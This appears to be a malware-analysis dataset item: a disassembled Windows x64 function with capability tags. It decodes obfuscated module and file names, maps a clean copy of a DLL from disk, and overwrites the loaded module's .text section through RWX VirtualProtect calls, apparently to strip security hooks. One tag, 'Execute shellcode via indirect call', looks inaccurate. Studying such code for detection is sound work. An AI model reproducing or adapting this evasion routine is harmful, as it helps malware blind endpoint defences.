Function at 0x140003510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
pxor xmm0, xmm0
mov ecx, 9
movups xmmword [rsp + 0x70], xmm0
pxor xmm0, xmm0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0xa0], 0
movups xmmword [rsp + 0x90], xmm0
call sym.operator_new_unsigned_long_long_
mov rcx, qword [0x14002b1c8]
mov byte [rax + 8], 6
lea rdx, [rax + 9]
lea r12, [rsp + 0xb0]
lea rsi, [rsp + 0x90]
mov qword [rsp + 0xa0], rdx
mov qword [rax], rcx
mov rcx, r12
mov qword [rsp + 0x98], rdx
mov rdx, rsi
mov qword [rsp + 0x90], rax
call sym.GvKwnkPhKkjyNadZ_abi:cxx11__std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rsp + 0xb0]
lea rbx, [rsp + 0xc0]
mov qword [rsp + 0x58], rax
cmp rcx, rbx
je 0x1400035e3
mov rax, qword [rsp + 0xc0]
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x140003600
mov rdx, qword [rsp + 0xa0]
sub rdx, rcx
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r9d, 0x18
lea r8, [rsp + 0x70]
call sym.K32GetModuleInformation
pxor xmm0, xmm0
mov ecx, 0x1d
mov qword [rsp + 0xa0], 0
mov rdi, qword [rsp + 0x70]
movups xmmword [rsp + 0x90], xmm0
call sym.operator_new_unsigned_long_long_
mov rcx, qword [0x14002b1e0]
movdqu xmm0, xmmword [0x14002b1d0]
mov byte [rax + 0x1c], 0x58
lea rdx, [rax + 0x1d]
mov dword [rax + 0x18], 0x1571b06
mov qword [rax + 0x10], rcx
mov rcx, r12
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x98], rdx
mov rdx, rsi
movups xmmword [rax], xmm0
mov qword [rsp + 0x90], rax
call sym.GvKwnkPhKkjyNadZ_abi:cxx11__std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov rcx, qword [rsp + 0xb0]
mov r8d, 1
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
cmp rcx, rbx
je 0x1400036e1
mov rax, qword [rsp + 0xc0]
lea rdx, [rax + 1]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x1400036fe
mov rdx, qword [rsp + 0xa0]
sub rdx, rcx
call sym.operator_delete_void__unsigned_long_long_
xor r9d, r9d
xor edx, edx
mov rcx, qword [rsp + 0x60]
mov r8d, 0x1000002
mov qword [rsp + 0x28], 0
xor ebx, ebx
lea rbp, str..text
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r8d, r8d
xor r9d, r9d
mov edx, 4
mov qword [rsp + 0x20], 0
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r13, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rax
movsxd rax, dword [rdi + 0x3c]
lea r15, [rdi + rax]
cmp word [r15 + 6], 0
lea r14, [r15 + 0x18]
je 0x140003809
mov qword [rsp + 0x68], rsi
mov rsi, rbx
mov qword [rsp + 0x48], r8
jmp 0x14000378b
add rsi, 1
cmp si, word [r15 + 6]
jae 0x140003804
movzx eax, word [r15 + 0x14]
lea rdx, [rsi + rsi*4]
add rax, r14
lea rbx, [rax + rdx*8]
mov rdx, rbp
mov rcx, rbx
call sym.strcmp
test eax, eax
jne 0x140003780
mov r9, r12
mov r8d, 0x40
add rsi, 1
mov dword [rsp + 0xb0], 0
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
add rcx, rdi
call r13
mov edx, dword [rbx + 0xc]
mov rax, qword [rsp + 0x48]
mov r8d, dword [rbx + 8]
lea rcx, [rdi + rdx]
add rdx, rax
call sym.memcpy
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov r9, r12
mov r8d, dword [rsp + 0xb0]
add rcx, rdi
call r13
cmp si, word [r15 + 6]
jb 0x14000378b
mov rsi, qword [rsp + 0x68]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
mov rcx, rsi
call rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret